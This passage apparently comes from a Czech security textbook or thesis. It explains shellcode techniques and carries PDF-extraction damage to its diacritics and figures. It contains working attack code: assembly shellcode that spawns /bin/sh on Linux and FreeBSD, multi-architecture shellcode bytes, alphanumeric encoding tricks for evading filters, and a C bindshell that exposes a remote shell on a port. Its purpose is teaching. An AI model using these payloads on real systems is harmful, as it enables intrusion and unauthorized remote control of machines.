snadno prˇekona´me nastavenı´m argumentu˚ do registru˚ a ulozˇenı´m registru˚ na za´sobnı´k. Da´le oba syste´my majı´ rozdı´lnou hodnotu vola´nı´ execve(). Tuto cˇa´st jizˇ spolecˇny´m ko´dem nevyrˇesˇ´ıme a je potrˇeba udeˇlat veˇtvenı´. Veˇtvenı´ provedeme podle testu na obsah registru FS nebo GS. Vzorovy´ ko´d je uveden na obra´zku 6.16 s mnoha komenta´ˇri.
6.4.4 Shellko´dy neza´visle´ na architekturˇe Vy´zva na napsa´nı´ shellko´du, ktery´ pobeˇzˇ´ı na dvou nebo vı´ce rozdı´lny´ch typech procesoru˚, byla prezentova´na Caesarem na konferenci debcon8 5 . Za´kladem takove´ho shellko´du je magicka´ u´vodnı´ sekvence, ktera´ zpu˚sobı´ odskoky na nativnı´ shellko´dy pro ru˚zne´ architektury. Nativnı´ shellko´d potom mu˚zˇe by´t pro jeden nebo vı´ce operacˇnı´ch syste´mu˚. 5
http://www.caezarschallenge.org/cc4.html
53
10
# osspansh.s .data .globl start start: jmp trik rutina:
popl %esi #adresa ˇreteˇzce ”/bin/sh” xorl %eax,%eax pushl %eax # *envp[ ] NULL pro FreeBSD movl %eax,0xc(%esi) # *argv[ ] pro Linux movl %esi,0x8(%esi) # *filename pro Linux movb %al,0x7(%esi) #zakoncˇnı´ ˇretezce nulou leal (%esi),%ebx # *filename pro FreeBSD leal 0x8(%esi),%ecx # *argv[ ] pro FreeBSD movw %fs,%ax #test na OS incb %al #abychom se vyhnuli cmpb $1,%al #nulove´mu byte jz linux
10
20
fbsd:
movb $0x3b,%al pushl %ecx pushl %ebx pushl %eax int $0x80
#cˇı´slo vola´nı´ # *argv[ ] # *filename
linux:
xorl %edx,%edx movb $0xb,%al int $0x80
# *envp[ ] NULL pro Linux #cˇı´slo voa´lnı´
trik:
call rutina .string ”/bin/sh”
30
Obra´zek 6.16: Uka´zka OS neza´visle´ho shellko´du pro Linux a FreeBSD
54
Prˇ´ımo na konferenci Ian Goldberg a Flex prezentovali ˇresˇenı´ pro PA-RISC a x86 6 . Za´kladnı´ model vypada´ takto: magicky´ ˇreteˇzec arch1 shellko´d arch2 shellko´d Magicky´ ˇreteˇzec funguje tak, zˇe pro architekturu 2 ma´ vy´znam skoku a pro architekturu 1 se provede nevy´znamna´ operace. Prˇi hleda´nı´ vhodny´ch magicky´ch ˇreteˇzcu˚ napı´sˇeme sekvenci bytu˚ pro skok na arch2 shellko´d. Pokud na architekturˇe 1 sekvence odpovı´da´ instrukcı´m, ktere´ na´m neposˇkodı´ kriticka´ data v pameˇti, neˇktere´ registry a neprovedou skok do nechteˇne´ho mı´sta, ma´me vyhra´no. Komplikujı´cı´ faktor je rozdı´lna´ de´lka instrukcı´ na ru˚zny´ch architektura´ch. Podı´vejme se na ˇresˇenı´ autoru˚ Goldverga a Flexe. Sekvence bytu˚ 0xeb 0x40 0xc0 0x02 0x08 0x01 0x06 0x01 0x08 0x01 0x06 0x01 HP-UX shellko´d x86 shellko´d
PA-RISC bv,n r0(r26) add r1,r0,r1 add r1,r0,r1
x86 jmp 0x40
Pro architekturu x86 se ihned provede skok o 64B da´le. To znamena´, zˇe shellko´d pro HP-UX nesmı´ by´t delsˇ´ı. Pravdeˇpodobneˇ bude kratsˇ´ı a zbyle´ byty do 64B musı´me libovolneˇ vyplnit. Kdybychom neudeˇlali tuto vy´plnˇ, na architekturˇe x86 nedojde ke skoku prˇesneˇ na pocˇa´tek shellko´du. Na architekturˇe PA-RISC se provede podmı´neˇny´ skok. Prˇi splneˇnı´ podmı´nky, ktere´ za´lezˇ´ı na prˇechozı´m obsahu registru˚, se provede skok o 2 slova da´le. Slovo ma´ na architekturˇe PA-RISC 32b. O dveˇ slova da´le zacˇ´ına´ shellko´d pro HP-UX. Pokud ke skoku nedojde, provedeme 2x nevy´znamnou operaci scˇ´ıta´nı´. Po operaci scˇ´ıta´nı´ na´sleduje samotny´ shellko´d. Pro vı´ce architektur potrˇebujeme vı´ce magicky´ch ˇreteˇzcu˚. magicky´ ˇreteˇzec 1 magicky´ ˇreteˇzec 2 arch1 shellko´d arch2 shellko´d arch3 shellko´d Magicky´ ˇreteˇzec 1 pro jednu architekturu provede skok na shellko´d a pro zbyle´ dveˇ musı´ mı´t vy´znam nevy´znamny´ch instrukcı´. Magicky´ ˇreteˇzec 2 na´sledneˇ provede odskok na dalsˇ´ı shellko´d. Poslednı´ architektura, ktera´ doted’ prova´deˇla nevy´znamne´ operace, zacˇne vykona´vat arch1 shellko´d. Problematika shellko´du pro vı´ce architektur je vı´ce popsa´na v magazı´nu Phrack v cˇ´ısle 57, viz 6
http://www.caezarschallenge.org/cc4b flex iang.html
55
[3]. Shrnutı´ forma´tu instrukcı´ pro velke´ mnozˇstvı´ platforem lze nale´zt v pra´ci UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes [8] polske´ skupiny The Last Stage of Delirium. Uka´zka shellko´du pro cˇtyrˇi architektury je na obra´zku 6.17. /* Shellko´d pro 4 architektury * publikova´no v magazı´nu Phrack cˇ´ıslo 57 * autor: [email protected] */ char shellkod[ ] = ”\x37\x37\xeb\x7b” /* x86: /* MIPS: /* Sparc: /* PPC/AIX:
aaa; aaa; jmp 116+4 */ ori $s7,$t9,0xeb7b */ sethi %hi(0xdFADEc00), %i3 */ addic. r25,r23,-5253 */
”\x30\x80\x01\x14” /* MIPS: /* Sparc: /* PPC/AIX:
andi ba,a addic
$zero,$a0,0x114 */ +1104 */ r4,r0,276 */
”\x1e\xe0\x01\x01” /* MIPS: /* PPC/AIX:
bgtz mulli
$s7, +1032 r23,r0,257
”\x30\x80\x01\x14” /* fill in the MIPS branch delay slot with the above MIPS / AIX nop /* PPC */ /* x86 */ /* vy´plnˇ */ /* MIPS */ /* SPARC */
*/ */
*/
Obra´zek 6.17: Uka´zka vı´ceplatformnı´ho shellko´du
6.4.5 Alfanumericky´ shellko´d Programy cˇasto filtrujı´ vstup od uzˇivatele pouze na cˇisty´ text. U´ tocˇnı´k, ktery´ filtru prˇedlozˇ´ı alfanumericky´ shellko´d, uspeˇje. Alfanumericky´ shellko´d se mu˚zˇe skla´dat pouze z instrukcı´, jezˇ jsou ko´dova´ny pomocı´ hodnot, ktere´ spadajı´ do oblasti alfanumericky´ch znaku˚ z ASCII tabulky. Kromeˇ pru˚chodu filtry lze snadno takovy´ shellko´d umı´stit jako jme´no souboru, prˇedmeˇt emailu a podobneˇ. V na´sledujı´cı´m textu budou uvedeny tabulky pro vsˇechny prˇ´ıpustne´ instrukce a jejich operandy. Obecny´ instrukcˇnı´ forma´t vypada´ podle obra´zku 6.18. Zkratky v tabulka´ch dodrzˇujı´ styl dokumentace firmy Intel. Jejich vy´znam je na´sledujı´cı´:
/r8
– 8b registr.
56
10
20
Prefix instrukce 0 nebo 1B
Opkód
Velikost adresy Velikost operandu 0 nebo 1B
0 nebo 1B
0 nebo 1B #%
Posun
SIB
ModR/M
1 nebo 2B 0 nebo 1B 0 nebo 1B
#%$'* #0
0,1,2 nebo 4B
/
0,1,2 nebo 4B
Obra´zek 6.18: Obecny´ forma´t instrukce pro x86
/r32
r/m8
r/m32
/r
imm8
– Prˇ´ıma´ 8-mi bitova´ hodnota.
imm32
– Prˇ´ıma´ 32 bitova´ hodnota.
disp8
disp32
...
– 32b registr. – 8b registr nebo 8b adresace pameˇti. – 32b registr nebo 32b adresace pameˇti.
– Znacˇ´ı na´slednost ModR/M bytu a prˇ´ıpadneˇ SIB bytu za opko´dem.
– 8b posun. – 32b posun.
– Instrukce ma´ operandy, ale ted’ nejsou du˚lezˇite´.
ModR/M – Tento byte je rozdeˇlen na 3 polı´cˇka. Prvnı´ polı´cˇko mod v kombinaci s polı´cˇkem r/m da´va´ 32 rozdı´lny´ch hodnot pro rozlisˇenı´ osmi registru˚ a dvaceti cˇtyrˇ adresnı´ch mo´du˚. Polı´cˇko reg urcˇuje cˇ´ıslo registru nebo doplnˇuje opko´d. Vy´znam je da´n prˇedcha´zejı´cı´m opko´dem. 7
6
5
mod
4
3
2
reg
1
0
r/m
Obra´zek 6.19: Struktura ModR/M bytu SIB – Scale Index Base. Tento byte dovoluje adresova´nı´ ve tvaru prˇ´ıtomnost je indikova´na ModR/M bytem. 7
6
$&% ')(+*+,-
5
4
3
index
2
1
"!#
. Jeho
0
základ
Obra´zek 6.20: Struktura SIB bytu
Podı´vejme se nynı´ na tabulky, ktere´ na´m popı´sˇ´ı povolene´ instrukce a jejich operandy – obra´zky 6.21, 6.22, 6.23. 57
Hexadecima´lnı´ hodnota 30 /r 31 /r 32 /r 33 /r 34 imm8 35 imm32 36 37 38 /r 39 /r 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 ... 63 ... 64 65 66 67 68 imm32 69 ... 6A imm8 6B ... 6C ... 6D ... 6E ... 6F ... 70 disp8 71 disp8 72 disp8 73 disp8 74 disp8 75 disp8 76 disp8 77 disp8 78 disp8 79 disp8 7A disp8
Znak ’0’ ’1’ ’2’ ’3’ ’4’ ’5’ ’6’ ’7’ ’8’ ’9’ ’A’ ’B’ ’C’ ’D’ ’E’ ’F’ ’G’ ’H’ ’I’ ’J’ ’K’ ’L’ ’M’ ’N’ ’O’ ’P’ ’Q’ ’R’ ’S’ ’T’ ’U’ ’V’ ’W’ ’X’ ’Y’ ’Z’ ’a’ ’b’ ’c’ ’d’ ’e’ ’f’ ’g’ ’h’ ’i’ ’j’ ’k’ ’l’ ’m’ ’n’ ’o’ ’p’ ’q’ ’r’ ’s’ ’t’ ’u’ ’v’ ’w’ ’x’ ’y’ ’z’
Instrukce xor r/m8 , r8 xor r/m32 , r32 xor r8 , r/m8 xor r32 , r/m32 xor al, imm8 xor eax, imm32 ss: (Segment Override Prefix) aaa cmp r/m8 , r8 cmp r/m32 , r32 inc ecx inc edx inc ebx inc esp inc ebp inc esi inc edi dec eax dec ecx dec edx dec ebx dec esp dec ebp dec esi dec edi push eax push ecx push edx push ebx push esp push ebp push esi push edi pop eax pop ecx pop edx popa bound ... arpl ... fs: (Segment Override Prefix) gs: (Segment Override Prefix) o16: (Operand Size Override) a16: (Address Size Override) push imm32 imul ... push imm8 imul ... insb ... insd ... outsb ... outsd ... jo disp8 jno disp8 jb disp8 jae disp8 je disp8 jne disp8 jbe disp8 ja disp8 js disp8 jns disp8 jp disp8
Du˚lezˇitost ano ano ano ano ano ano
ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano ano
ano ano
ano
Obra´zek 6.21: Alfanumericke´ opko´dy
58
ano ano ano ano ano ano ano ano ano ano ano
r8 : r32 : r/m
al eax
cl ecx
dl edx
bl ebx
ah esp
ch ebp
dh esi
bh edi
(mod=00) eax ecx edx ebx SIB disp32 esi edi
00 01 02 03 04 05 06 07
08 09 0A 0B 0C 0D 0E 0F
10 11 12 13 14 15 16 17
18 19 1A 1B 1C 1D 1E 1F
20 21 22 23 24 25 26 27
28 29 2A 2B 2C 2D 2E 2F
30 ’0’ 31 ’1’ 32 ’2’ 33 ’3’ 34 ’4’ 35 ’5’ 36 ’6’ 37 ’7’
38 ’8’ 39 ’9’ 3A 3B 3C 3D 3E 3F
(mod=01) eax+ disp8 ecx+ disp8 edx+ disp8 ebx+ disp8 SIB + disp8 ebp+ disp8 esi+ disp8 edi+ disp8
40 41 ’A’ 42 ’B’ 43 ’C’ 44 ’D’ 45 ’E’ 46 ’F’ 47 ’G’
48 ’H’ 49 ’I’ 4A ’J’ 4B ’K’ 4C ’L’ 4D ’M’ 4E ’N’ 4F ’O’
50 ’P’ 51 ’Q’ 52 ’R’ 53 ’S’ 54 ’T’ 55 ’U’ 56 ’V’ 57 ’W’
58 ’X’ 59 ’Y’ 5A ’Z’ 5B 5C 5D 5E 5F
60 61 ’a’ 62 ’b’ 63 ’c’ 64 ’d’ 65 ’e’ 66 ’f’ 67 ’g’
68 ’h’ 69 ’i’ 6A ’j’ 6B ’k’ 6C ’l’ 6D ’m’ 6E ’n’ 6F ’o’
70 ’p’ 71 ’q’ 72 ’r’ 73 ’s’ 74 ’t’ 75 ’u’ 76 ’v’ 77 ’w’
78 ’x’ 79 ’y’ 7A ’z’ 7B 7C 7D 7E 7F
Obra´zek 6.22: Mozˇnosti ModR/M bytu
eax
ecx
edx
ebx
esp
ebp (if MOD != 0)
esi
edi
eax ecx edx ebx 0 ebp esi edi
00 08 10 18 20 28 30 ’0’ 38 ’8’
01 09 11 19 21 29 31 ’1’ 39 ’9’
02 0A 12 1A 22 2A 32 ’2’ 3A
03 0B 13 1B 23 2B 33 ’3’ 3B
04 0C 14 1C 24 2C 34 ’4’ 3C
05 0D 15 1D 25 2D 35 ’5’ 3D
06 0E 16 1E 26 2E 36 ’6’ 3E
07 0F 17 1F 27 2F 37 ’7’ 3F
2*eax 2*ecx 2*edx 2*ebx 0 2*ebp 2*esi 2*edi
40 48 ’H’ 50 ’P’ 58 ’X’ 60 68 ’h’ 70 ’p’ 78 ’x’
41 ’A’ 49 ’I’ 51 ’Q’ 59 ’Y’ 61 ’a’ 69 ’i’ 71 ’q’ 79 ’y’
42 ’B’ 4A ’J’ 52 ’R’ 5A ’Z’ 62 ’b’ 6A ’j’ 72 ’r’ 7A ’z’
43 ’C’ 4B ’K’ 53 ’S’ 5B 63 ’c’ 6B ’k’ 73 ’s’ 7B
44 ’D’ 4C ’L’ 54 ’T’ 5C 64 ’d’ 6C ’l’ 74 ’t’ 7C
45 ’E’ 4D ’M’ 55 ’U’ 5D 65 ’e’ 6D ’m’ 75 ’u’ 7D
46 ’F’ 4E ’N’ 56 ’V’ 5E 66 ’f’ 6E ’n’ 76 ’v’ 7E
47 ’G’ 4F ’O’ 57 ’W’ 5F 67 ’g’ 6F ’o’ 77 ’w’ 7F
base :
"!#
Obra´zek 6.23: Mozˇnosti SIB bytu 59
Vidı´me, zˇe nenı´ mozˇne´ pouzˇ´ıt zˇa´dnou instrukci mov ani aritmeticke´ operace. Jedine´ mozˇnosti skry´vajı´ instrukce pro pra´ci se za´sobnı´kem, instrukce xor a podmı´neˇne´ skoky. Na obra´zku 6.24 je uka´zka kra´tke´ho alfanumericke´ho ko´du. Pokousˇet se napsat shellko´d s takto omezeny´mi mozˇnostmi je neprakticke´, ne-li nemozˇne´. # Prˇecˇtenı´ 1B z pameˇti # adresa v registru ESI # vy´stup do DH #———————— # Tvar po kompilaci: hEEEEX5EEEEPZ26 .globl start start: push $0x45454545 pop %eax xor $0x45454545,%eax #vynulovany´ registr eax push %eax pop %edx #vynulovany´ registr edx xor (%esi),%dh #cˇtenı´ dat z adresy v regisru esi
Obra´zek 6.24: Alfanumericky´ ko´d - prˇecˇetni bytu z pameˇti Rˇesˇenı´m mu˚zˇe by´t naprˇ´ıklad transformace existujı´cı´ho shellko´du do alfanumericke´ oblasti. Necht’ XXXXXXXXX je hexadecima´lnı´ reprezentace pu˚vodnı´ho shellko´du YYYYYYYYYYYYYYYYY je hexadecima´lnı´ reprezentace alfanumericke´ho shellko´du, potom at’ spusˇteˇnı´ ko´du YYYYYYYYYYYYYYYYY ma´ za na´sledek situaci na za´sobnı´ku podle obra´zku 6.25. EBP
Y
Y
Yn Y Y Y
Y
Y
Y2 Y1
Xn X X
X
X
X2 X1 nop
ESP
Obra´zek 6.25: Struktura za´sobniku po spusˇteˇnı´ alfanumericke´ho shellko´du Vy´sledkem spusˇteˇnı´ alfanumericke´ho shellko´du je tedy vytvorˇenı´ pu˚vodnı´ho shellko´du na za´sobnı´ku. Dosa´hnout tohoto cı´le nenı´ prˇ´ılisˇ obtı´zˇne´. Z hexadecima´lnı´ reprezentace pu˚vodnı´ho shellko´du 60
10
postupneˇ odebı´ra´me od konce jednotlive´ byty a prova´dı´me transformaci. Za kazˇdy´ byte vygenerujeme sekvenci instrukcı´, ktere´ takovy´ byt vytvorˇ´ı na za´sobnı´ku. Mu˚zˇeme zde rozlisˇit neˇkolik skupin:
Byte s alfanumerickou reprezentacı´ – Takovy´ byte BB mu˚zˇeme prˇ´ımo zapsat na za´sobnı´k. pushw $0xBB45 inc %esp
odstranı´me byte 0x45
Nulovy´ byte – Prˇedpokla´da´me, zˇe registr EAX obsahuje hodnotu 0xffffffff. inc %eax pushw %ax inc %esp dec %eax
eax nynı´ obsahuje 0 vlozˇ´ıme hodnotu 0x0000 odstranı´me byte 0x00 eax znovu obsahuje 0xffffffff
0xFF byte – Prˇedpokla´da´me, zˇe registr AX obsahuje hodnotu 0xffffffff. pushw %ax inc %esp
vlozˇ´ıme hodnotu 0xffff odstranı´me byte 0xff
Ostatnı´ byty – Nalezneme byty XX,YY pro ktere´ platı´ zpracova´va´me. pushw $0xXX45 popw %ax xor $0xYY45, %ax pushw %ax inc %esp
. BB je byte, ktery´
registr ax nynı´ obsahuje 0xXX45 registr ax nynı´ obsahuje 0xBB00 vlozˇ´ıme hodnotu 0xBB00 odstranı´me byte 0x00
V prˇ´ıpadeˇ, zˇe bitova´ negace bytu BB spada´ do alfanumericke´ oblasti, provedeme vlozˇenı´ te´to negace NN. Na za´sobnı´ku na´sledneˇ provedeme druhou negaci pro zı´ska´nı´ bytu BB. Prˇedpokla´da´me, zˇe registr AL obsahuje hodnotu 0xff. pushw $0xNN45 inc %esp pushl %esp popl %edx xor %al,(%edx)
vlozˇ´ıme hodnotu 0xNN45 odstranı´me byte 0x45 vlozˇ´ıme adresu pameˇti, kde je ulozˇen na´sˇ byte 0xNN provedeme negaci bytu na dane´ adrese
Kompila´tor, ktery´ pouzˇ´ıva´ tuto techniku a jine´ dalsˇ´ı, je mozˇne´ najı´t v cˇla´nku Writing IA32 alphanumeric shellcodes [9].
6.4.6 Polymorfnı´ shellko´dy Mnoho firem chra´nı´ svou sı´t’ filtracı´ paketu˚ podle signatur 7 zna´my´ch viru˚, cˇervu˚ a shellko´du˚. Podobny´m filtrem mu˚zˇe by´t osˇetrˇen i vstup dat u aplikacı´. Takovy´ filtr mu˚zˇe by´t u´cˇinny´ pouze tehdy, pokud signatury ”zly´ch” programu˚ jsou vy´jimecˇne´ a lze je snadno rozlisˇit od ”hodny´ch” programu˚. U´ tocˇnı´ci 7
posloupnost bitu˚, ktere´ identifikujı´ program
61
tyto filtry obcha´zejı´ tı´m, zˇe jejich programy kolujı´ po sveˇteˇ v mnoha bina´rnı´ch forma´ch. Funkcˇnost zu˚sta´va´ stejna´. Mluvı´me o polymorfismu. Polymorfismus znamena´ schopnost existovat ve vı´ce forma´ch. Algoritmus lze implementovat mnoha ru˚zny´mi zpu˚soby – po kompilaci jsou bina´rnı´ formy znacˇneˇ rozdı´lne´ – po spusˇteˇnı´ zı´ska´me stejny´ vy´sledek. Postup je takovy´, zˇe nejdrˇ´ıve vytvorˇ´ıme shellko´d, ktery´ vykona´va´ pozˇadovanou cˇinnost. Zkompilovanou hexadecima´lnı´ podobu potom prˇedlozˇ´ıme kompila´toru s polymorfnı´m ja´drem. Ten bude postupovat obdobneˇ jako kompila´tor alfanumericke´ho shellko´du. Rozdı´l nastane v tom, zˇe sekvence instrukcı´, ktere´ na za´sobnı´k ulozˇ´ı pozˇadovany´ byte, se budou meˇnit. Za´kladem zmeˇn jsou tyto jednoduche´ mysˇlenky:
Zmeˇna porˇadı´ operacı´ ma´ stejny´ vy´sledek jako
Vlozˇenı´ nepodstany´ch operacı´
ma´ stejny´ vy´sledek jako
Stejne´ho vy´sledku lze dosa´hnout rozdı´ly´mi operacemi ´ stejny´ vy´sledek jako ma
Kombinacı´ teˇchto za´kladnı´ch pravidel zı´ska´ kompila´tor s polymorfnı´m ja´drem sˇirokou sˇka´lu ru˚zny´ch vy´sledku˚ prˇi kompilova´nı´ stejne´ho zdroje. Nejzdarˇilejsˇ´ı dı´lo v te´to oblasti je kompila´tor ADMmutate [10]. Autorem je kanadsky´ programa´tor, ktery´ si ˇr´ıka´ K2.
6.4.7 Bindshell ´ tocˇnı´k, pokud nema´ konto na atakovane´m stroji, mu˚zˇe prove´st vlozˇenı´ shellko´du pomocı´ aktivnı´ho U sı´t’ove´ho spojenı´. Naprˇ´ıklad pomocı´ chyby v FTP nebo WWW serveru. O metoda´ch vkla´da´nı´ shellko´du˚ pojedna´va´ kapitola Buffer overflow na straneˇ 65. Takto vlozˇeny´ a spusˇteˇny´ shellko´d by musel by´t pomeˇrneˇ rozsa´hly´, aby uspokojil pozˇadavky u´tocˇnı´ka. Proto u´tocˇnı´cı´ pouzˇ´ıvajı´ klasicky´ maly´ shellko´d doplneˇny´ o prˇesmeˇrova´nı´ vstupu a vy´stupu na volny´ port pocˇ´ıtacˇe. U´ tocˇnı´k potom provede pouze sı´t’ove´ spojenı´ (naprˇ. telnet) s tı´mto portem a zada´va´ prˇ´ıkazy vzda´leneˇ.
62
Za´kladnı´ bindshell je popsa´n na obra´zku 6.26. Je minimalizova´n co do pocˇtu promeˇnny´ch a provedeny´ch vola´nı´. Mnozˇstvı´ ’include’ souboru˚ definuje konstaty, ktere´ lze nahradit prˇ´ımo patrˇicˇny´mi hodnotami.
/* bindshell.c * minimalizovany´ bindshell */ #include #include #include #include #include #include
stdio.h sys/types.h sys/socket.h netinet/in.h unistd.h string.h
10
int main(int argc, char **argv) char *name[2]; //jme´no spousˇteˇne´ho programu int fd,fd2; //deskriptory pro socket struct sockaddr in serv; bzero(&serv,16); fd=socket(AF INET,SOCK STREAM,0); //otevrˇenı´ socketu serv.sin addr.s addr=0; //nasˇi IP adresu nastavı´ ja´dro samo serv.sin port=0x2222; //port na ktery´ se prˇipojı´me serv.sin family=AF INET;
20
bind(fd,(struct sockaddr *)&serv,16); //propojenı´ listen(fd,1); //posloucha´me na socketu fd2=accept(fd, 0, 0); //prˇijı´ma´me data dup2(fd2,0); //nasmeˇrujeme vsˇechny standardnı´ deskriptory dup2(fd2,1); dup2(fd2,2); name[0]=”/bin/sh”; //jme´no spousˇteˇne´ho programu name[1]=NULL; execve(name[0],name,NULL); //spusˇteˇnı´
Obra´zek 6.26: Minimalizovany´ bindshell v jazyce C Prˇi prˇepisova´nı´ do assembleru za pouzˇitı´ genericke´ho shellko´du je potrˇeba pouzˇ´ıt dvojskoku pomocı´ instrukce jmp. V jednom dlouhe´m skoku bychom se nevyhnuli nulove´mu bytu.
63
30
zacatek: jmp trik1 rutina: popl %esi ... #teˇlo bindshellu ... jmp dale 10
trik1: dale:
jmp trik2 ... #teˇlo bindshellu ...
trik2: call rutina ”/bin/sh”
Obra´zek 6.27: Dvojskok prˇi dlouhe´m bindshellu
64
Kapitola 7
Buffer overflow - za´pis mimo meze pole 7.1 U´vod Jazyk C, stejneˇ jako veˇtsˇina beˇzˇny´ch imperativnı´ch jazyku˚, dovoluje alokovat oblasti pameˇti pro ulozˇenı´ dat a mezivy´sledku˚. Za´kladnı´ rozdeˇlenı´ je na statickou alokaci a dynamickou alokaci. Prˇi staticke´ alokaci je pozˇadovana´ velikost pameˇt’ove´ho prostoru zna´ma v dobeˇ prˇekladu. Toto omezenı´ nemusı´ platit u rozsˇ´ıˇreny´ch verzı´ jazyka C. Velikost staticky alokovane´ oblasti nelze jizˇ da´le upravovat. Dynamicka´ alokace se vyznacˇuje prˇedevsˇ´ım mozˇnostı´ zmeˇnit velikost alokovane´ oblasti prˇi beˇhu programu. Oba druhy alokacı´ se lisˇ´ı syntaxı´ za´pisu a umı´steˇnı´m pozˇadovane´ alokovane´ pameˇti ve virtua´lnı´m adresnı´m prostoru procesu. Dynamicka´ alokace – Pro dynamickou alokaci standardnı´ knihovna jazyka C poskytuje 4 funkce. Dynamicky alokovana´ mı´sta se nacha´zejı´ v oblasti haldy. Vola´nı´ ja´dra brk() zveˇtsˇ´ı velikost datove´ho segmentu1 procesu. Za sekcı´ BSS tak vznikne volny´ prostor, ktery´ spravujı´ funkce pro dynamickou alokaci. Soucˇa´stı´ kazˇde´ alokovane´ oblasti je struktura, ktera´ umozˇnˇuje pozdeˇjsˇ´ı uvolneˇnı´ oblastı´ a jejich slucˇova´nı´ podle dalsˇ´ı potrˇeby. Strukturu vcˇetneˇ alokovane´ oblasti oznacˇujeme jako u´sek pameˇti (odpovı´dajı´cı´ anglicky´ termı´n je memory chunk). Vı´ce na obra´zku 7.1. void * calloc(int members, int size); void * malloc(int size); void free(void *ptr); void * realloc(void *ptr, int size); Staticka´ alokace – Oblasti staticky alokovane´ se mohou nacha´zet bud’ v datove´ oblasti (sekce .data, .bss), nebo na za´sobnı´ku. Beˇzˇny´ na´zev pro tyto oblasti jsou pole. Pole je datova´ struktura slozˇena´ ze stejny´ch prvku˚. Kompila´tor gcc rozsˇirˇuje jazyk C o dynamickou alokaci staticky´ch polı´. To znamena´, zˇe pozˇadovana´ velikost pole je da´na obsahem promeˇnne´, nikoliv konstantou. int x = strlen(argv[1]); char pole[x]; 1
Viz obra´zek A.2 v prˇ´ıloze A
65
')(*
void *mem = malloc(19);
Halda
(memory chunk)
zarovnání požadovaných 19B *bk *fd size prev_size
BSS
20 16 12 8 4 0
+"
, $
! -
Datový segment procesu Textový segment procesu
prev_size:
! size:
.
, $ 0/1
23 4 & 4
,
*fd, *bk:
" #
$% &
je−li úsek nepoužíván. Uživatelská data, je−li úsek používán.
Obra´zek 7.1: Pameˇt’ove´ u´seky v oblasti haldy Dynamickou alokaci staticke´ho pole na za´sobnı´ku lze take´ prove´st funkcı´ void *alloca(int size). Tato funkce nenı´ soucˇa´stı´ normy POSIX, a nenı´ proto doporucˇova´na.
Dynamicka´ alokace doka´zˇe plneˇ nahradit statickou alokaci. Opacˇneˇ to neplatı´. Vy´znam staticke´ alokace stojı´ prˇedevsˇ´ım na jejı´m se´manticke´m vy´znamu pole o pevne´ de´lce. Dalsˇ´ı vy´hodou staticke´ alokace je, zˇe alokovana´ pameˇt loka´lnı´ho pole se automaticky uvolnı´ po ukoncˇenı´ funkce. V neposlednı´ ˇradeˇ je staticka´ alokace vy´razneˇ rychlejsˇ´ı. Alokace oblasti na za´sobnı´ku se skla´da´ pouze z jedine´ instrukce zmensˇujı´cı´ hodnotu registru ESP. Syntaxe za´pisu pro prˇ´ıstup ke staticky i dynamicky alokovany´m oblastem je shodna´. Dva existujı´cı´ typy za´pisu jsou zameˇnitelne´ 2 . Vı´ce na na´sledujı´cı´m obra´zku. /* Prˇ´ıstup ke staticky a dynamicky alokovany´m oblastem */ int main() int *oblast = (int *) malloc(5*sizeof(int)); int pole[5]; int x,y; pole[3] = 8; oblast[3] = 8; 10
x = *(pole+3); y = *(oblast+3); free(oblast); return 0;
2
Za´pis x[i] je ekvivaletnı´ se za´pisem *(x+i)
66
Oproti jazyku Pascal nenı´ v jazyce C dovoleno volit dolnı´ mez pole. V C je dolnı´ mez pole vzˇdy nula. Kompila´tory jazyka C neprova´deˇjı´ zˇa´dnou kontrolu za´pisu mimo meze pole. Du˚vodem je efektivnost a rychlost vy´sledne´ho ko´du. Ve sˇpatneˇ napsane´ aplikaci mu˚zˇe dojı´t k za´pisu mimo meze pole. Mu˚zˇe dojı´t k prˇepsa´nı´ hodnot promeˇnny´ch, pa´du aplikace cˇi spusˇteˇnı´ externeˇ vlozˇene´ho ko´du. Anglicky se tato situace oznacˇuje termı´nem buffer overflow. Jednoduchou demonstraci programa´torske´ chyby oznacˇovanou jako chyba+1 3 vidı´me na obra´zku 7.2. /* buffer1.c */ #include
stdio.h
int main(int argc, char **argv) int i=0,a=2; int buffer[4]; printf(”a: %d\n”,a); for (i=0;i =4;i++) buffer[i] = 7; printf(”a: %d\n”,a);
10
return 0;
Obra´zek 7.2: Uka´zka za´pisu mimo meze pole Kompilace a spusˇteˇnı´ $ gcc buffer1.c -Wall -pedantic -o buffer1 $ ./buffer1 a: 2 a: 7 $ Situaci na za´sobnı´ku po inicializaci promeˇnny´ch vystihuje obra´zek 7.3. Funkci main() jsou nadrˇazeny´m prostrˇedı´m na za´sobnı´k ulozˇeny jejı´ parametry. Po spusˇteˇnı´ (provede se uschova´nı´ na´vratove´ adresy) funkce main() dojde k jejı´mu prologu, tj. ulozˇenı´ obsahu registru EBP a nastavenı´ EBP na novou hodnotu, ktera´ urcˇuje loka´lnı´ ra´mec funkce main(). Alokuje se mı´sto pro loka´lnı´ promeˇnne´. Potom dojde k postupne´mu ukla´da´nı´ hodnoty 7 na adresy &buffer[i]. Adresa &buffer[4] jizˇ vsˇak patrˇ´ı promeˇnne´ a. Dojde k prˇepsa´nı´ hodnoty promeˇnne´ a ze 2 na 7. 3
Pojem zavedl ing. Pavel Herout ve sve´ ucˇebnici jazyka C
67
*(buffer+...)
*(buffer+4) *(buffer+3) *(buffer+2) *(buffer+1) *(buffer+0)
**argv
0xbffff... 0 0x8040... 0xbffff... 0 2
argc návratová adresa uložené EBP i a
*buffer
Obra´zek 7.3: Stav na za´sobnı´ku po inicializaci promeˇnny´ch prˇ´ıkladu buffer1.c
